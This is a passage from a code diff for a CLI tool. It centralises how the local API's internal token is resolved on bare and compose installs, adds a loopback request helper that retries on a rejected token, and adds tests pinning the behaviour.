brought up — use + * `resolveInternalToken()` (lib/internal-token) instead. Choosing a store by hand is + * the mistake that made reset-admin-password 401 on every compose install. */ export function composeInternalToken(): string | null { return readEnvFile().INTERNAL_TOKEN ?? null; diff --git a/apps/cli/src/lib/edge-import.ts b/apps/cli/src/lib/edge-import.ts index 64b50485a..d1e05c0e1 100644 --- a/apps/cli/src/lib/edge-import.ts +++ b/apps/cli/src/lib/edge-import.ts @@ -13,7 +13,8 @@ import chalk from "chalk"; import ora from "ora"; import { EDGE_CONTAINER_NAME, edgeCrashReason, type ImportedSite } from "@repo/adapters/proxy"; import { LocalExecutor } from "@repo/adapters"; -import { composeInternalToken } from "./compose"; +import { internalTokenProblem, resolveInternalToken } from "./internal-token"; +import { internalFetch } from "./loopback-api"; import { startUnitHint } from "./this-host"; /** Wait for the compose api container to answer its health stub. */ @@ -61,9 +62,14 @@ export interface EdgeImportOutcome { /** * POST the parsed sites + host-read cert PEMs to the api's internal edge-import - * endpoint. Uses the compose stack's INTERNAL_TOKEN (from compose/.env — NOT the - * bare-mode token file). Never throws; the outcome tells the caller whether the - * migrated hostnames are actually being served. + * endpoint. Never throws; the outcome tells the caller whether the migrated hostnames + * are actually being served. + * + * The token is RESOLVED, not read from compose/.env: the edge is a container on every + * install now (see edge-container-everywhere), so a BARE box reaches this too — through + * the control panel's "Take over :80/:443 & migrate its sites" → repairEdgeConflict. + * Naming the compose store meant that box found no token and skipped the import with + * the operator's nginx already stopped, i.e. every migrated hostname dark. */ export async function importMigratedSites( apiPort: string, @@ -71,9 +77,10 @@ export async function importMigratedSites( certPems?: Record, staticRootOverrides?: Record, ): Promise { - const token = composeInternalToken(); - if (!token) { - const error = "couldn't read the stack's internal token"; + // Checked up front, before the health/edge waits below: there is no point stopping + // anything (or making the operator watch 60s of polling) for a call we can't authenticate. + if (!resolveInternalToken()) { + const error = internalTokenProblem(); console.log(chalk.yellow(` Skipping site import — ${error}. Re-run to retry.\n`)); return { ok: false, registered: [], error }; } @@ -94,12 +101,20 @@ export async function importMigratedSites( return { ok: false, registered: [], error }; } try { - const r = await fetch(`http://127.0.0.1:${apiPort}/api/system/edge/import-sites`, { + // internalFetch, not a bare fetch with the token above: on a box that has BOTH + // stores (bare install, then compose) the first candidate can be the stale one, and + // these hostnames are dark until the import lands — worth the 401 retry. + const call = await internalFetch(apiPort, "/api/system/edge/import-sites", { method: "POST", - headers: { "Content-Type": "application/json", "X-Internal-Token": token }, + headers: { "Content-Type": "application/json" }, body: JSON.stringify({ sites, certPems, staticRootOverrides }), signal: AbortSignal.timeout(120000), }); + if (call.kind !== "response") { + spinner.warn(`Site import failed: ${call.detail}. Re-run to retry.`); + return { ok: false, registered: [], error: call.detail }; + } + const r = call.res; const data = (await r.json().catch(() => ({}))) as { registered?: string[]; warnings?: string[]; diff --git a/apps/cli/src/lib/instance-provision.ts b/apps/cli/src/lib/instance-provision.ts index 602019b3e..b7bd41d5f 100644 --- a/apps/cli/src/lib/instance-provision.ts +++ b/apps/cli/src/lib/instance-provision.ts @@ -4,17 +4,18 @@ * exact loopback API calls the wizard makes (bootstrap-admin + self-register), * so `openship up --non-interactive …` provisions a box end-to-end without a TTY. * - * The loopback API is internal-token-gated; the caller passes the token - * (from `ensureInternalToken()`) so this module has no dependency on the `up` - * command (avoids an import cycle). Secrets (admin password) come from flags/env, - * never logged. + * The loopback API is internal-token-gated. A caller that just brought a stack up + * passes the token it wrote (so this module has no dependency on the `up` command — + * avoids an import cycle); when it's omitted, ./loopback-api resolves whichever token + * this box's API is running with. Secrets (admin password) come from flags/env, never + * logged. * * The loopback API calls + internal token live in ./loopback-api — the SAME * copy the wizard uses (no duplication). */ import { isValidEmail } from "@repo/core"; -import { internalPost, waitHealthy, bootstrapAdmin, ensureInternalToken } from "./loopback-api"; +import { internalFetch, internalPost, waitHealthy, bootstrapAdmin } from "./loopback-api"; export type DomainKind = "byo" | "custom" | "free" | "none"; @@ -181,10 +182,14 @@ async function drainProvisionStream( ): Promise<{ completed: boolean; detail?: string }> { let detail: string | undefined; try { - const res = await fetch(`http://127.0.0.1:${port}/api/system/self-register/stream?id=${sessionId}`, { - headers: { "X-Internal-Token": token ?? ensureInternalToken() }, - signal: AbortSignal.timeout(180000), - }); + const call = await internalFetch( + port, + `/api/system/self-register/stream?id=${sessionId}`, + { signal: AbortSignal.timeout(180000) }, + token, + ); + if (call.kind !== "response") return { completed: false, detail: call.detail }; + const res = call.res; if (!res.body) return { completed: false }; const reader = res.body.getReader(); const decoder = new TextDecoder(); diff --git a/apps/cli/src/lib/internal-token.ts b/apps/cli/src/lib/internal-token.ts new file mode 100644 index 000000000..0604ab014 --- /dev/null +++ b/apps/cli/src/lib/internal-token.ts @@ -0,0 +1,139 @@ +/** + * The internal token the API on THIS box was booted with — resolved, never guessed. + * + * Two install methods write it to two different places and nothing reconciles them: + * + * · bare — `~/.openship/internal-token`, written by mintBareInternalToken below + * and passed to the service as INTERNAL_TOKEN (up.ts startService); + * · compose — INTERNAL_TOKEN in `~/.openship/compose/.env`, generated by + * compose.ts's `keepSecret` and handed to the api container via + * `env_file`. It has never had anything to do with the file above. + * + * A reader that picks one store by hand is correct on one install and 401s on the + * other. `openship reset-admin-password` picked the bare one, so on EVERY compose box + * it failed with "Reset failed: Unauthorized" — and worse, it called the MINTING + * helper, which on a compose-only box (no bare token file) generated a brand-new + * random token, sent that, and left the junk file behind. The api container refuses it + * outright: DEPLOY_MODE defaults to "docker" there, and internalAuth has no + * loopback-peer fallback outside desktop. + * + * Hence the split enforced here: **readers resolve, only the launcher mints.** Minting + * a token in order to authenticate cannot work by construction — the token you just + * created is, definitionally, not the one the running API loaded — and that is the + * whole bug class this module exists to close. `mintBareInternalToken` has exactly one + * caller (the bare launcher, which is what MAKES its file authoritative); everything + * that talks to a running API goes through `resolveInternalToken` / + * `internalTokenSources`, or through lib/loopback-api's internalFetch on top of them. + */ +import { existsSync, mkdirSync, readFileSync, writeFileSync } from "node:fs"; +import { randomBytes } from "node:crypto"; + +import { COMPOSE_ENV_FILE, composeInstallExists, readComposeEnvFile } from "./compose-env"; +import { INTERNAL_TOKEN_FILE, OS_DIR } from "./paths"; + +/** + * Persist (or read back) the BARE service's stable INTERNAL_TOKEN. + * + * The bare launcher boots the API with this value, which is what makes the file the + * authority for that install — so this is the one place a token may be created. Never + * call it to authenticate a request: see the module comment. + */ +export function mintBareInternalToken(): string { + if (existsSync(INTERNAL_TOKEN_FILE)) return readFileSync(INTERNAL_TOKEN_FILE, "utf8").trim(); + mkdirSync(OS_DIR, { recursive: true, mode: 0o700 }); + const token = randomBytes(32).toString("hex"); + writeFileSync(INTERNAL_TOKEN_FILE, token, { mode: 0o600 }); + return token; +} + +/** The bare install's token if it's already on disk — read-only, never mints. */ +function bareInternalToken(): string | null { + try { + return readFileSync(INTERNAL_TOKEN_FILE, "utf8").trim() || null; + } catch { + return null; + } +} + +export interface InternalTokenSources { + /** + * Tokens to try, most-likely-correct first. An empty list means "this box has no + * API we can authenticate to" — it is never padded with a freshly minted value, + * because a token nothing is running with is a guaranteed 401 dressed up as a try. + */ + tokens: string[]; + /** Stores that should have yielded a token and didn't, in operator-facing words. */ + problems: string[]; +} + +/** + * Every token this box could legitimately be holding, ordered by evidence. + * + * Compose first when a compose install exists, because that install's api container is + * what's listening. The bare file stays a CANDIDATE rather than an alternative: a box + * that ran bare before compose has both, and an older CLI's `ensureInternalToken` left + * stale bare files on compose-only boxes too. Callers retry on 401, so a wrong guess + * costs one extra loopback request instead of a failed command. + */ +export function internalTokenSources(): InternalTokenSources { + const tokens: string[] = []; + const problems: string[] = []; + + if (composeInstallExists()) { + const { env, unreadable } = readComposeEnvFile(); + const composeToken = env.INTERNAL_TOKEN?.trim(); + if (composeToken) { + tokens.push(composeToken); + } else if (unreadable) { + // The common shape: the stack was installed with sudo, so `.env` is root-owned + // 0600 and this invocation simply can't see the secret. That is a permissions + // problem with a one-word fix, and it must not surface as "Unauthorized". + problems.push( + `can't read ${COMPOSE_ENV_FILE} (${unreadable}) — that file holds the running stack's token, so re-run this command with sudo`, + ); + } else { + problems.push( + `${COMPOSE_ENV_FILE} has no INTERNAL_TOKEN — re-run \`openship up\` to regenerate it`, + ); + } + } + + const bare = bareInternalToken(); + if (bare && !tokens.includes(bare)) tokens.push(bare); + + return { tokens, problems }; +} + +/** The token to try first, or null when this box has none. Never mints. */ +export function resolveInternalToken(): string | null { + return internalTokenSources().tokens[0] ?? null; +} + +/** Why there was nothing to authenticate with — one operator-facing line. */ +export function internalTokenProblem(): string { + const { problems } = internalTokenSources(); + if (problems.length) return problems.join("; "); + return ( + `no internal token found on this machine (looked in ${COMPOSE_ENV_FILE} and ` + + `${INTERNAL_TOKEN_FILE}) — run \`openship up\` on this box first` + ); +} + +/** + * Why every token we hold was rejected. Distinct from the above: the files exist, the + * API answered, and it isn't running with what's on disk — which means the running + * process is older than the current `.env`/token file (restart it) or the port belongs + * to a different instance entirely. + */ +export function internalTokenRejectedProblem(): string { + const { tokens, problems } = internalTokenSources(); + const plural = tokens.length > 1 ? `both of this machine's internal tokens` : `this machine's internal token`; + // A store we couldn't READ leads here too — a compose box with an unreadable `.env` + // falls back to a leftover bare token, which the stack then refuses. The permissions + // problem is the likelier explanation AND the one with a fix, so it goes first. + const unreadable = problems.length ? `${problems.join("; ")}. ` : ""; + return ( + `${unreadable}the API rejected ${plural}. It's running with a different one — restart it ` + + `(\`openship up\`) so it picks up the current token, or check that this port belongs to this install` + ); +} diff --git a/apps/cli/src/lib/loopback-api.ts b/apps/cli/src/lib/loopback-api.ts index 00dd295f0..bf9cad5e2 100644 --- a/apps/cli/src/lib/loopback-api.ts +++ b/apps/cli/src/lib/loopback-api.ts @@ -1,20 +1,22 @@ /** * Loopback control-plane helpers, shared by the interactive install wizard - * (commands/wizard.ts), the headless installer (lib/instance-provision.ts), and - * `openship up` (commands/up.ts). Single home for the internal-token file + the - * internal-token-gated POST/GET + the boot/health polls, so there's exactly ONE - * copy (no per-command duplication). + * (commands/wizard.ts), the headless installer (lib/instance-provision.ts), + * `openship up` (commands/up.ts), doctor/repair and reset-admin-password. Single + * home for the internal-token-gated request + the boot/health polls, so there's + * exactly ONE copy (no per-command duplication). * - * The API is bound to loopback and gated by X-Internal-Token; the same token - * file the API boots with is read here so setup calls (bootstrap-admin, - * self-register) authenticate without a browser session. + * The API is bound to loopback and gated by X-Internal-Token. WHICH token that is + * depends on the install method, so it is resolved in one place (lib/internal-token) + * rather than chosen per call site — the mistake that made every compose box answer + * "Unauthorized" to `openship reset-admin-password`. */ -import { existsSync, readFileSync, mkdirSync, writeFileSync } from "node:fs"; -import { randomBytes } from "node:crypto"; -import { join } from "node:path"; - -import { INTERNAL_TOKEN_FILE, OS_DIR } from "./paths"; +import { + internalTokenProblem, + internalTokenRejectedProblem, + internalTokenSources, +} from "./internal-token"; +import { OS_DIR } from "./paths"; /** The CLI's state dir (internal-token, auth-secret, data, logs); ~/.openship * by default, or OPENSHIP_HOME for a from-source install. Re-exported for the @@ -22,36 +24,110 @@ import { INTERNAL_TOKEN_FILE, OS_DIR } from "./paths"; export { OS_DIR }; /** - * Persist a stable INTERNAL_TOKEN. The API is booted with it (so zero-auth is - * off), and the setup flows read the SAME file to authenticate their one-shot - * loopback calls. A browser reaching the API through the public proxy has no - * token, so it can't create the admin. + * The outcome of an internal-token-gated call, as three DIFFERENT facts. + * + * Collapsing them is what made a compose box report "Unauthorized" for a token store + * the invoking user simply couldn't read: no-token (nothing on disk to try, or a + * root-owned `.env`) is a different operator action than unreachable (wrong port / + * nothing running) and than a 401 the API actually returned. */ -export function ensureInternalToken(): string { - const path = INTERNAL_TOKEN_FILE; - if (existsSync(path)) return readFileSync(path, "utf8").trim(); - mkdirSync(OS_DIR, { recursive: true, mode: 0o700 }); - const token = randomBytes(32).toString("hex"); - writeFileSync(path, token, { mode: 0o600 }); - return token; -} +export type InternalCall = + | { + kind: "response"; + res: Response; + /** The 401 came from internalAuth, and every token we hold was refused. */ + tokenRejected?: boolean; + } + | { kind: "no-token"; detail: string } + | { kind: "unreachable"; detail: string }; -// The internal token differs by install method: the bare service reads/writes -// `~/.openship/internal-token` (ensureInternalToken); the Compose stack boots the -// api container with the token from `compose/.env` (composeInternalToken). Callers -// provisioning the Compose stack pass that token explicitly so these loopback -// calls authenticate against the RIGHT api — hence the optional `token` arg. -export async function internalGet(port: string, path: string, token?: string): Promise { +/** + * Was this 401 the internal-auth middleware refusing the token, or a HANDLER's own? + * + * The distinction decides whether the request may be repeated: internalAuth answers + * before the handler runs, so retrying it with another token repeats nothing — while + * `/api/system/cloud-connect` answers 401 with "Could not verify with Openship Cloud" + * AFTER exchanging a single-use PKCE code, where a retry would burn the code and the + * rewritten message would blame the wrong thing entirely. + * + * internalAuth's body is exactly `{"error":"Unauthorized"}` (middleware/internal-auth.ts), + * so that is the only shape treated as a token rejection. Anything else — including a + * body we can't parse — is passed through as-is, which is what the CLI did before it + * knew about candidates: no retry, no rewording, the API's own answer. + */ +function isInternalAuthRejection(body: string): boolean { try { - const res = await fetch(`http://127.0.0.1:${port}${path}`, { - headers: { "X-Internal-Token": token ?? ensureInternalToken() }, - signal: AbortSignal.timeout(10000), - }); - if (!res.ok) return null; - return await res.json(); + return (JSON.parse(body) as { error?: unknown }).error === "Unauthorized"; } catch { - return null; + return false; + } +} + +/** Re-wrap a response whose body we had to read in order to classify it, so the caller + * can still consume it normally. */ +function replay(res: Response, body: string): Response { + return new Response(body, { status: res.status, statusText: res.statusText, headers: res.headers }); +} + +/** + * The one internal-token-gated request path. + * + * `token` is for callers that KNOW which api they're addressing — the compose + * provisioning flows, which hold the token they just wrote. Everyone else omits it and + * gets `internalTokenSources()`: every token this box legitimately holds, tried in + * evidence order. Never mints: see lib/internal-token. + * + * Only a 401 from internalAuth is retried (see isInternalAuthRejection), and only that + * path reads the body — a streaming caller's response is handed back untouched, so the + * self-register SSE stream still arrives frame by frame. + */ +export async function internalFetch( + port: string, + path: string, + init: RequestInit = {}, + token?: string, +): Promise { + const candidates = token ? [token] : internalTokenSources().tokens; + if (candidates.length === 0) return { kind: "no-token", detail: internalTokenProblem() }; + + const url = `http://127.0.0.1:${port}${path}`; + let refused: Response | undefined; + for (const candidate of candidates) { + let res: Response; + try { + res = await fetch(url, { + ...init, + headers: { + ...(init.headers as Record | undefined), + "X-Internal-Token": candidate, + }, + }); + } catch (err) { + return { kind: "unreachable", detail: (err as Error).message }; + } + if (res.status !== 401) return { kind: "response", res }; + const body = await res.text().catch(() => ""); + if (!isInternalAuthRejection(body)) return { kind: "response", res: replay(res, body) }; + refused = replay(res, body); } + // Every token we hold was refused — hand the last 401 back readable, flagged, so the + // caller can say WHICH kind of failure this is (internalTokenRejectedProblem). + return { kind: "response", res: refused!, tokenRejected: true }; +} + +/** Why a 401 came back after every candidate was tried. Re-exported so callers don't + * each import the token module just to phrase this. */ +export { internalTokenRejectedProblem }; + +export async function internalGet(port: string, path: string, token?: string): Promise { + const call = await internalFetch( + port, + path, + { signal: AbortSignal.timeout(10000) }, + token, + ); + if (call.kind !== "response" || !call.res.ok) return null; + return await call.res.json().catch(() => null); } export async function internalPost( @@ -60,18 +136,27 @@ export async function internalPost( body: unknown, token?: string, ): Promise<{ ok: boolean; data: any }> { - try { - const res = await fetch(`http://127.0.0.1:${port}${path}`, { + const call = await internalFetch( + port, + path, + { method: "POST", - headers: { "Content-Type": "application/json", "X-Internal-Token": token ?? ensureInternalToken() }, + headers: { "Content-Type": "application/json" }, body: JSON.stringify(body), signal: AbortSignal.timeout(30000), - }); - const data = await res.json().catch(() => ({})); - return { ok: res.ok, data }; - } catch (err) { - return { ok: false, data: { error: (err as Error).message } }; + }, + token, + ); + // A token problem is reported as the error TEXT rather than a bare "failed": every + // caller of this prints `data.error`, so the fix (sudo, `openship up`, a port) lands + // in front of the operator instead of a generic Unauthorized. + if (call.kind !== "response") return { ok: false, data: { error: call.detail } }; + const data = (await call.res.json().catch(() => ({}))) as Record; + // Keyed off the flag, not the status: a handler's own 401 keeps its message. + if (call.tokenRejected && !token) { + return { ok: false, data: { ...data, error: internalTokenRejectedProblem() } }; } + return { ok: call.res.ok, data }; } /** POST the first admin to the internal-token-gated bootstrap endpoint. */ diff --git a/apps/cli/src/lib/repair.ts b/apps/cli/src/lib/repair.ts index f3cad1434..00a179b57 100644 --- a/apps/cli/src/lib/repair.ts +++ b/apps/cli/src/lib/repair.ts @@ -23,7 +23,8 @@ import { storedApiPort as apiPort, storedDashboardPort as dashboardPort, } from "./ports"; -import { startService, ensureInternalToken } from "../commands/up"; +import { startService } from "../commands/up"; +import { internalFetch } from "./loopback-api"; import { summarizeHostChannelCause, HOST_CHANNEL_AUTH_REJECTED_SHORT, @@ -57,18 +58,20 @@ export function ensure(value: T | symbol): T { // them from this module; they are NOT a second implementation. export { storedPorts, apiPort, dashboardPort }; -/** Internal-token-gated GET against the loopback API. null on any failure. */ +/** + * Internal-token-gated GET against the loopback API. null on any failure. + * + * Goes through internalFetch so the token matches the install: this reader used to name + * the bare token file, so on a compose box every `/api/system/health` call 401'd and + * gatherStatus reported the database, project counts and host channel as unknown on a + * perfectly healthy stack — with `doctor --fix` then reading that as "db not ok". + */ export async function internalGet(path: string, timeoutMs = 8000): Promise { - try { - const res = await fetch(`http://127.0.0.1:${apiPort()}${path}`, { - headers: { "X-Internal-Token": ensureInternalToken() }, - signal: AbortSignal.timeout(timeoutMs), - }); - if (!res.ok) return null; - return await res.json(); - } catch { - return null; - } + const call = await internalFetch(String(apiPort()), path, { + signal: AbortSignal.timeout(timeoutMs), + }); + if (call.kind !== "response" || !call.res.ok) return null; + return await call.res.json().catch(() => null); } /** Is the local API answering its liveness stub right now? */ diff --git a/apps/cli/test/e2e/reset-admin-password.test.ts b/apps/cli/test/e2e/reset-admin-password.test.ts new file mode 100644 index 000000000..e4afe5d31 --- /dev/null +++ b/apps/cli/test/e2e/reset-admin-password.test.ts @@ -0,0 +1,128 @@ +import { describe, it, expect, beforeEach, afterEach, vi } from "vitest"; + +/** + * `openship reset-admin-password` against a box of each install method. + * + * The reported failure: on a Compose install this command answered "Reset failed: + * Unauthorized" every single time. It authenticated with `~/.openship/internal-token`, + * which the compose path never writes — so on a compose-only box it MINTED a fresh + * random token, sent that, and the api container (booted from the INTERNAL_TOKEN in + * `compose/.env`) refused it. The lockout-recovery command was unusable on exactly the + * installs that most need it. + * + * Driven through the real command with a fake filesystem, because the bug lived in which + * FILE was read — asserting on the header the command sends is the only way to pin it. + */ + +const h = vi.hoisted(() => ({ + files: new Map(), + denied: new Set(), + writes: new Map(), +})); + +vi.mock("node:fs", () => ({ + existsSync: (p: string) => h.files.has(String(p)), + mkdirSync: () => undefined, + readFileSync: (p: string) => { + const path = String(p); + if (h.denied.has(path)) throw Object.assign(new Error(`EACCES: ${path}`), { code: "EACCES" }); + const v = h.files.get(path); + if (v === undefined) throw Object.assign(new Error(`ENOENT: ${path}`), { code: "ENOENT" }); + return v; + }, + writeFileSync: (p: string, data: string) => { + h.writes.set(String(p), String(data)); + h.files.set(String(p), String(data)); + }, +})); + +import { resetAdminCommand } from "../../src/commands/reset-admin"; +import { COMPOSE_ENV_FILE, COMPOSE_FILE } from "../../src/lib/compose-env"; +import { INTERNAL_TOKEN_FILE } from "../../src/lib/paths"; +import { PORTS_FILE } from "../../src/lib/ports"; +import { runCommand, stubFetch, type FetchStub } from "../helpers/harness"; + +let fetchStub: FetchStub | undefined; + +const resetCall = () => + fetchStub!.calls.find((c) => c.url.endsWith("/api/system/reset-admin-password")); + +beforeEach(() => { + h.files.clear(); + h.denied.clear(); + h.writes.clear(); + // The port this install resolved to — not the 4000 default, so a command that + // ignored ports.json would miss. + h.files.set(PORTS_FILE, JSON.stringify({ api: 4123, dashboard: 3001 })); + fetchStub = stubFetch((req) => + req.headers["x-internal-token"] === "stack-token" || req.headers["x-internal-token"] === "bare-token" + ? { status: 200, json: { ok: true, email: "admin@example.com" } } + : { status: 401, json: { error: "Unauthorized" } }, + ); +}); +afterEach(() => { + fetchStub?.restore(); + fetchStub = undefined; +}); + +describe("openship reset-admin-password", () => { + it("authenticates with the STACK's token on a compose install", async () => { + h.files.set(COMPOSE_FILE, "services: {}\n"); + h.files.set(COMPOSE_ENV_FILE, "INTERNAL_TOKEN=stack-token\nAPI_PORT=4123\n"); + + const r = await runCommand(resetAdminCommand, ["--password", "hunter2hunter2"]); + + expect(r.code).toBe(0); + expect(resetCall()!.url).toBe("http://127.0.0.1:4123/api/system/reset-admin-password"); + expect(resetCall()!.headers["x-internal-token"]).toBe("stack-token"); + expect((resetCall()!.body as any).password).toBe("hunter2hunter2"); + expect(r.out).toContain("admin@example.com"); + // The old behaviour in one assertion: a reader must not create a token, because a + // token nothing is running with can only ever be refused. + expect([...h.writes.keys()]).not.toContain(INTERNAL_TOKEN_FILE); + }); + + it("authenticates with the bare token file on a bare install", async () => { + h.files.set(INTERNAL_TOKEN_FILE, "bare-token\n"); + + const r = await runCommand(resetAdminCommand, ["--password", "hunter2hunter2"]); + + expect(r.code).toBe(0); + expect(resetCall()!.headers["x-internal-token"]).toBe("bare-token"); + }); + + it("tells the operator to use sudo when the stack's .env is root-owned", async () => { + h.files.set(COMPOSE_FILE, "services: {}\n"); + h.files.set(COMPOSE_ENV_FILE, "INTERNAL_TOKEN=stack-token\n"); + h.denied.add(COMPOSE_ENV_FILE); + + const r = await runCommand(resetAdminCommand, ["--password", "hunter2hunter2"]); + + expect(r.code).toBe(1); + expect(r.out + r.err).toMatch(/sudo/); + // A permissions problem must not be reported as a credentials one, and must not + // send a doomed request at all. + expect(r.out + r.err).not.toMatch(/Unauthorized/); + expect(resetCall()).toBeUndefined(); + }); + + it("explains a 401 as a token mismatch rather than echoing 'Unauthorized'", async () => { + // Both stores hold something the running api doesn't have — e.g. `.env` was + // regenerated while the container kept the old value. + h.files.set(COMPOSE_FILE, "services: {}\n"); + h.files.set(COMPOSE_ENV_FILE, "INTERNAL_TOKEN=rotated-token\n"); + h.files.set(INTERNAL_TOKEN_FILE, "older-token\n"); + + const r = await runCommand(resetAdminCommand, ["--password", "hunter2hunter2"]); + + expect(r.code).toBe(1); + const text = r.out + r.err; + expect(text).toMatch(/running with a different one/); + expect(text).toMatch(/openship up/); + // Both candidates were tried before giving up. + expect(fetchStub!.calls.map((c) => c.headers["x-internal-token"])).toEqual([ + "rotated-token", + "older-token", + ]); + }); +}); diff --git a/apps/cli/test/e2e/up.test.ts b/apps/cli/test/e2e/up.test.ts index d78b29a51..8ffcf15c7 100644 --- a/apps/cli/test/e2e/up.test.ts +++ b/apps/cli/test/e2e/up.test.ts @@ -76,6 +76,17 @@ vi.mock("../../src/lib/compose", () => ({ // its own unit test (compose-source-build.test.ts). sourceBuildDir: () => null, })); +// The token the loopback calls authenticate with. Mocked because the resolver reads +// real files (compose/.env, ~/.openship/internal-token) and this box's own install +// must not decide what the site import sends — the resolution rules themselves are +// pinned in unit/internal-token.test.ts. +vi.mock("../../src/lib/internal-token", () => ({ + resolveInternalToken: () => h.internalToken, + internalTokenSources: () => ({ tokens: h.internalToken ? [h.internalToken] : [], problems: [] }), + internalTokenProblem: () => "no internal token on this machine", + internalTokenRejectedProblem: () => "the API rejected this machine's internal token", + mintBareInternalToken: () => h.internalToken ?? "tok", +})); const e = vi.hoisted(() => ({ plan: { proceed: true } as any, diff --git a/apps/cli/test/unit/headless-provision-domain.test.ts b/apps/cli/test/unit/headless-provision-domain.test.ts index 5584998bb..dd0e2f7f7 100644 --- a/apps/cli/test/unit/headless-provision-domain.test.ts +++ b/apps/cli/test/unit/headless-provision-domain.test.ts @@ -23,7 +23,9 @@ vi.mock("../../src/lib/loopback-api", () => ({ }, waitHealthy: async () => true, bootstrapAdmin: async () => ({ ok: true, message: "created" }), - ensureInternalToken: () => "tok", + // The provision-stream reader goes through this; unreachable here (the stubbed + // self-register returns no sessionId), but the module imports it. + internalFetch: async () => ({ kind: "unreachable", detail: "not stubbed" }), })); import { headlessProvision } from "../../src/lib/instance-provision"; diff --git a/apps/cli/test/unit/internal-token.test.ts b/apps/cli/test/unit/internal-token.test.ts new file mode 100644 index 000000000..50e199810 --- /dev/null +++ b/apps/cli/test/unit/internal-token.test.ts @@ -0,0 +1,149 @@ +import { describe, it, expect, beforeEach, vi } from "vitest"; + +/** + * Which internal token the CLI authenticates a running API with. + * + * `openship reset-admin-password` failed with "Reset failed: Unauthorized" on EVERY + * compose install, and the reason was not a sync bug — it called the MINTING helper, so + * on a box whose token lives in `compose/.env` it generated a brand-new random token, + * sent that, and could only ever be refused. The api container refuses it outright: + * DEPLOY_MODE is "docker" there, and internalAuth has no loopback-peer fallback outside + * desktop. + * + * So these cases pin the two halves of the fix: + * · readers RESOLVE from whichever store the running API was booted with, in evidence + * order, and never mint (a token nothing is running with is a guaranteed 401); + * · a store that exists but won't open — the root-owned 0600 `.env` a `sudo openship + * up` leaves behind — is a PERMISSIONS problem with its own message, not an + * authorization failure. + */ + +const h = vi.hoisted(() => ({ + /** Files this fake box has, by absolute path → contents. */ + files: new Map(), + /** Paths whose read throws EACCES instead of returning contents. */ + denied: new Set(), + writes: new Map(), +})); + +vi.mock("node:fs", () => ({ + existsSync: (p: string) => h.files.has(String(p)), + mkdirSync: () => undefined, + readFileSync: (p: string) => { + const path = String(p); + if (h.denied.has(path)) throw Object.assign(new Error(`EACCES: ${path}`), { code: "EACCES" }); + const v = h.files.get(path); + if (v === undefined) throw Object.assign(new Error(`ENOENT: ${path}`), { code: "ENOENT" }); + return v; + }, + writeFileSync: (p: string, data: string) => { + h.writes.set(String(p), String(data)); + h.files.set(String(p), String(data)); + }, +})); + +import { COMPOSE_ENV_FILE, COMPOSE_FILE } from "../../src/lib/compose-env"; +import { + internalTokenProblem, + internalTokenRejectedProblem, + internalTokenSources, + mintBareInternalToken, + resolveInternalToken, +} from "../../src/lib/internal-token"; +import { INTERNAL_TOKEN_FILE } from "../../src/lib/paths"; + +/** A compose install: the compose file is the evidence, the `.env` holds the secret. */ +function composeInstall(token: string | null): void { + h.files.set(COMPOSE_FILE, "services: {}\n"); + h.files.set( + COMPOSE_ENV_FILE, + ["COMPOSE_PROJECT_NAME=openship", ...(token ? [`INTERNAL_TOKEN=${token}`] : []), "API_PORT=4000"].join("\n"), + ); +} + +function bareInstall(token: string): void { + h.files.set(INTERNAL_TOKEN_FILE, `${token}\n`); +} + +beforeEach(() => { + h.files.clear(); + h.denied.clear(); + h.writes.clear(); +}); + +describe("internal token resolution", () => { + it("uses the stack's .env token on a compose install", () => { + composeInstall("compose-token"); + expect(resolveInternalToken()).toBe("compose-token"); + // The bug in one assertion: nothing was created to authenticate with. + expect(h.writes.size).toBe(0); + }); + + it("uses the bare token file on a bare install", () => { + bareInstall("bare-token"); + expect(resolveInternalToken()).toBe("bare-token"); + expect(h.writes.size).toBe(0); + }); + + it("tries the compose token FIRST on a box that has both, keeping the bare one as a fallback", () => { + // A box installed bare and later converted: both stores exist, and the api that is + // actually listening is the container's. The stale file must not win, but it stays a + // candidate so a 401 on the first can be retried rather than reported. + bareInstall("stale-bare-token"); + composeInstall("live-compose-token"); + expect(internalTokenSources().tokens).toEqual(["live-compose-token", "stale-bare-token"]); + }); + + it("reports an unreadable .env as a permissions problem, not an auth failure", () => { + composeInstall("compose-token"); + h.denied.add(COMPOSE_ENV_FILE); + + expect(resolveInternalToken()).toBeNull(); + const problem = internalTokenProblem(); + expect(problem).toContain(COMPOSE_ENV_FILE); + expect(problem).toMatch(/sudo/); + // What the operator must NOT be told: that they aren't authorized. + expect(problem).not.toMatch(/unauthorized/i); + }); + + it("still names the unreadable .env when a leftover bare token is refused", () => { + // The nastiest shape: `.env` is root-owned, so resolution falls back to a bare token + // left over from a previous install — which the stack refuses. Reporting only "the API + // rejected your token" would bury the one problem that has a fix. + composeInstall("compose-token"); + h.denied.add(COMPOSE_ENV_FILE); + bareInstall("leftover-bare-token"); + + expect(resolveInternalToken()).toBe("leftover-bare-token"); + const rejected = internalTokenRejectedProblem(); + expect(rejected).toMatch(/sudo/); + expect(rejected).toContain(COMPOSE_ENV_FILE); + }); + + it("names the compose .env when the stack exists but the token key is gone", () => { + composeInstall(null); + expect(resolveInternalToken()).toBeNull(); + expect(internalTokenProblem()).toMatch(/openship up/); + }); + + it("resolves to null — never a fresh token — on a box with no install", () => { + expect(resolveInternalToken()).toBeNull(); + expect(internalTokenSources().tokens).toEqual([]); + expect(h.writes.size).toBe(0); + expect(internalTokenProblem()).toContain(INTERNAL_TOKEN_FILE); + }); + + it("ignores an empty bare token file", () => { + h.files.set(INTERNAL_TOKEN_FILE, "\n"); + expect(resolveInternalToken()).toBeNull(); + }); + + it("mints only for the launcher, and reuses the file once it exists", () => { + // The bare launcher's path: it boots the service WITH this value, which is what + // makes the file authoritative. Kept separate from resolution on purpose. + const minted = mintBareInternalToken(); + expect(minted).toMatch(/^[0-9a-f]{64}$/); + expect(h.writes.get(INTERNAL_TOKEN_FILE)).toBe(minted); + expect(mintBareInternalToken()).toBe(minted); + }); +}); diff --git a/apps/cli/test/unit/loopback-internal-fetch.test.ts b/apps/cli/test/unit/loopback-internal-fetch.test.ts new file mode 100644 index 000000000..4b288d0f8 --- /dev/null +++ b/apps/cli/test/unit/loopback-internal-fetch.test.ts @@ -0,0 +1,155 @@ +import { describe, it, expect, beforeEach, afterEach, vi } from "vitest"; + +/** + * The one internal-token-gated request path (lib/loopback-api internalFetch). + * + * Resolution decides WHICH token to try (unit/internal-token.test.ts); this decides what + * happens around the request — and the three outcomes it keeps apart are the ones the + * "Unauthorized" bug collapsed into one: + * + * · nothing to authenticate with → no request is made at all, and the operator + * is told which store failed and why; + * 